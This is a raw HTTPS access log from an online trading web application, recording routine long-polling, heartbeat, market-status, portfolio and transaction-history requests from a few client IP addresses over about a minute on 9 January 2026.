[09/Jan/2026:09:31:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922579965 HTTP/1.1" -
[09/Jan/2026:09:31:48 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922577297 HTTP/1.1" -
[09/Jan/2026:09:31:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922577049 HTTP/1.1" -
[09/Jan/2026:09:31:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:31:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1851
[09/Jan/2026:09:31:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922579327 HTTP/1.1" -
[09/Jan/2026:09:31:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922594258 HTTP/1.1" -
[09/Jan/2026:09:31:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:31:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922585127 HTTP/1.1" -
[09/Jan/2026:09:31:54 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922583302 HTTP/1.1" -
[09/Jan/2026:09:31:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922583052 HTTP/1.1" -
[09/Jan/2026:09:31:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:31:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:31:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922584352 HTTP/1.1" -
[09/Jan/2026:09:31:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922599284 HTTP/1.1" -
[09/Jan/2026:09:31:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:31:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:31:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/TransactionHistory HTTP/1.1" 780
[09/Jan/2026:09:31:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:09:31:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922590273 HTTP/1.1" -
[09/Jan/2026:09:32:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922589379 HTTP/1.1" -
[09/Jan/2026:09:32:00 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922589292 HTTP/1.1" -
[09/Jan/2026:09:32:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922589045 HTTP/1.1" -
[09/Jan/2026:09:32:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922604307 HTTP/1.1" -
[09/Jan/2026:09:32:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922595356 HTTP/1.1" -
[09/Jan/2026:09:32:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922594397 HTTP/1.1" -
[09/Jan/2026:09:32:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922609335 HTTP/1.1" -
[09/Jan/2026:09:32:06 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922595300 HTTP/1.1" -
[09/Jan/2026:09:32:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922595051 HTTP/1.1" -
[09/Jan/2026:09:32:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922600526 HTTP/1.1" -
[09/Jan/2026:09:32:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922599431 HTTP/1.1" -
[09/Jan/2026:09:32:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:10 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922614405 HTTP/1.1" -
[09/Jan/2026:09:32:12 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922601291 HTTP/1.1" -
[09/Jan/2026:09:32:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922601057 HTTP/1.1" -
[09/Jan/2026:09:32:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922605759 HTTP/1.1" -
[09/Jan/2026:09:32:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922604477 HTTP/1.1" -
[09/Jan/2026:09:32:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:32:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1853
[09/Jan/2026:09:32:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922619437 HTTP/1.1" -
[09/Jan/2026:09:32:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922607288 HTTP/1.1" -
[09/Jan/2026:09:32:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922607052 HTTP/1.1" -
[09/Jan/2026:09:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922610880 HTTP/1.1" -
[09/Jan/2026:09:32:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922609497 HTTP/1.1" -
[09/Jan/2026:09:32:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922624499 HTTP/1.1" -
[09/Jan/2026:09:32:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:32:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922616027 HTTP/1.1" -
[09/Jan/2026:09:32:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922613055 HTTP/1.1" -
[09/Jan/2026:09:32:24 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922613303 HTTP/1.1" -
[09/Jan/2026:09:32:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922614530 HTTP/1.1" -
[09/Jan/2026:09:32:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922629561 HTTP/1.1" -
[09/Jan/2026:09:32:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922621165 HTTP/1.1" -
[09/Jan/2026:09:32:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922619290 HTTP/1.1" -
[09/Jan/2026:09:32:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922619555 HTTP/1.1" -
[09/Jan/2026:09:32:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922619695 HTTP/1.1" -
[09/Jan/2026:09:32:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922634618 HTTP/1.1" -
[09/Jan/2026:09:32:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922626210 HTTP/1.1" -
[09/Jan/2026:09:32:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922624586 HTTP/1.1" -
[09/Jan/2026:09:32:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922639680 HTTP/1.1" -
[09/Jan/2026:09:32:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922625049 HTTP/1.1" -
[09/Jan/2026:09:32:36 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922625298 HTTP/1.1" -
[09/Jan/2026:09:32:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922631280 HTTP/1.1" -
[09/Jan/2026:09:32:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922629626 HTTP/1.1" -
[09/Jan/2026:09:32:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922644714 HTTP/1.1" -
[09/Jan/2026:09:32:41 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:41 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:32:41 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:32:41 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:32:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922631054 HTTP/1.1" -
[09/Jan/2026:09:32:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922631292 HTTP/1.1" -
